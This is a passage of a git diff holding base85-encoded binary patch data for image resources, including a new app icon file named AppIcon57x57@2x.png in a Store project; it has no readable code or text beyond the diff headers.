zU4^RncYd%sFdF=oPFa!tzDJ3w#C?!^r9|zddTJaREr54I!~6m!!(wbpc95a%fozIl z@BZXK4a0ZQ#AnGnRKHribFx*+yi#10?HaM;Pb8D(*6e{3 zDV?rEBbA*&G(zE>B;~ygM-UwtX)w5)^g^Ttj^bXm@HboIGcntt+`oOGkI>7~KD@GI z-{TT-yf>|t_)g7M=^1T{+X3Gn@l4NDC|k$W5k%d^+^Lke2kjgYr%Jc15VGk~rzm^f z>$Zw)HRR!A35Vd@&A4<&d5)b_Am<*~?NnrQko$By!+ol4YIQ``t?KvQ=e@TJ>$`(A zjUDpqyt1!Mbp&fR4VTLHrh3&`Qtyj_21HF_1Z)l`$D>R{cg4Wr#7A_B68s)hyV?YO zm?P2`PYcT7yQgGhRG!q9jC=b=zOjfn_t78{;H_V#MsR)ZXBIMf+1^Pyr>O--|t@vDkO1Kx^AUA`SQ8^Cvv>Q_3jV|mLrhO>Y6`SYmbzJ5dS zM)>U{>ZO(kv$KG_fu>h8E+RtI=u73^7m3DP8*s7hm2Oj_@u2&cOr9XEgIt!IQyhQm zk9tMT>NaoPhowf=JjFBHeB9=~@KRofx)(%ecJ?Y4)>H6^-#dO@>3(6FW*YJ{E*<4a z-tZD7lR;3_tzdc&?c}BQyu^g>uX3r+`YM>bwwtNf?$5)xdpwEqq8)Q;*@`}1&Q7$0 z`p@v0T?^`=Fc#wTWqhD^o`O2;=gJrnH0F>w^i-0fNu@`6A4q0TrR{724Q}iUXo?O& zWxOqY#Yg^lvwnma_xSa|YcVi`N+KO6$rHC1Y&leMldKk%y3Lj}i&Hw59|rl%=J!@Q z7PO-`o^0k$Sl{*c-Jh&GJ@h7Ae_RY46!{Bq5(4{m;M%EOT8e6H(Q%3fgLcIFS9QSm zXxyFB_y@SW{qI=1tKp{~FoI&v1e(mfd|BxOzeks>>fW*cY_I#}&Tl=s#doe5FIsZ6YC`L#d?suZ z-aZ+>hCeh$_;S;)D*xxMh(GJRM%(=PW)wT+G|Jh#gW1y~$$JLxL>zWdQ!O(N)Obvi zn+vtQb>@iINXJn1u?CYKpOnxKwekx+K6lGpG-mts5+ACgK8<-u#QuYASbNi3&r6JO zb%UF0?!@+9G@gHxl~?lAE2J@+bLC`{^qXhb61T`zU5c#Xd_Vo|>)4O%?GvRft?4Wc zbS$=T7NVU!oW~aYIH;WUCE<*^KE+*qz9#cz^IFBwf)zS%aWMg>JsLO6qc*p~KSxI= ztuR%RZa7b7IRjo@!!mMfn5)=D$v2}%W=KR|JO_WkvanT<^AbS}7{DjR!0L7Zxez{y z8Z!`1{SpIm7%J+E#F{JybWyI0lCvb?aWO!I$sD_3o`}49Q1XW|X(kcBdLZNM?e7}^ PRp7ML-~Mrs5r6tGAHg+1 literal 0 HcmV?d00001 diff --git a/Store/Resources/AppIcon57x57@2x.png b/Store/Resources/AppIcon57x57@2x.png new file mode 100644 index 0000000000000000000000000000000000000000..6b5cce1b2422e7937a36709ab853c3266d823a19 GIT binary patch literal 15021 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 